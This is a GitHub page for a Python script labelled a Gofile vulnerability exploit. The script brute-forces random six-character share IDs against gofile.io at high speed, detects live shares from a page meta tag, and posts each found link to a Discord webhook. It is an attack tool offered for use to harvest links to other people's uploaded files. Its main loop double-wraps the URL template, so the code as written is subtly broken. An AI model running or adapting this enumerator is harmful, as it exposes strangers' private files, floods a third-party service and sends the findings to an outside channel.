-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
67 lines (59 loc) · 2.49 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# __________ __ __ ________ .___
# \______ \ ____ ____ | | __ ____ _/ |_ / _____/ ____ __| _/
# | _/ / _ \ _/ ___\ | |/ /_/ __ \\ __\/ \ ___ / _ \ / __ |
# | | \( <_> )\ \___ | < \ ___/ | | \ \_\ \( <_> )/ /_/ |
# |____|_ / \____/ \___ >|__|_ \ \___ >|__| \______ / \____/ \____ |
# \/ \/ \/ \/ \/ \/
#
# Gofile Vulnerability Exploit Script by RocketGod
# https://github.com/RocketGod-git/gofile-vulnerability-exploit-script
import random
import string
import requests
import time
import re
GOFILE_URL_TEMPLATE = "https://gofile.io/d/{}"
DISCORD_WEBHOOK_URL = "YOUR-DISCORD-WEBHOOK-HERE"
# Step 1: Generate a random 6-character alphanumeric string
def generate_random_string(length=6):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
# Step 2: Check the validity of a Gofile URL
def check_gofile_url_html(random_string):
url = GOFILE_URL_TEMPLATE.format(random_string)
download_meta_pattern = r'<meta name=\'description\' content=\'\d+ downloads\' />'
try:
response = requests.get(url)
if response.status_code == 200:
html_content = response.text
if re.search(download_meta_pattern, html_content, re.IGNORECASE):
return True
return False
else:
return None
except requests.RequestException as e:
print(f"[ERROR] Request failed: {e}")
return None
# Step 3: Send a POST request to the Discord webhook
def send_to_discord(url):
data = {"content": f"Valid Gofile URL found: {url}"}
try:
response = requests.post(DISCORD_WEBHOOK_URL, json=data)
if response.status_code != 204:
print(f"[ERROR] Discord webhook call failed with status code {response.status_code}: {response.text}")
except requests.RequestException as e:
print(f"[ERROR] Failed to send data to Discord: {e}")
# Main loop
def main():
while True:
random_string = generate_random_string()
url = GOFILE_URL_TEMPLATE.format(random_string)
valid = check_gofile_url_html(url)
if valid is True:
print(f"[SUCCESS] Valid URL found: {url}")
send_to_discord(url)
elif valid is False:
print(f"[FAIL] Invalid URL: {url}")
# If valid is None, an error occurred.
time.sleep(0.005)
if __name__ == "__main__":
main()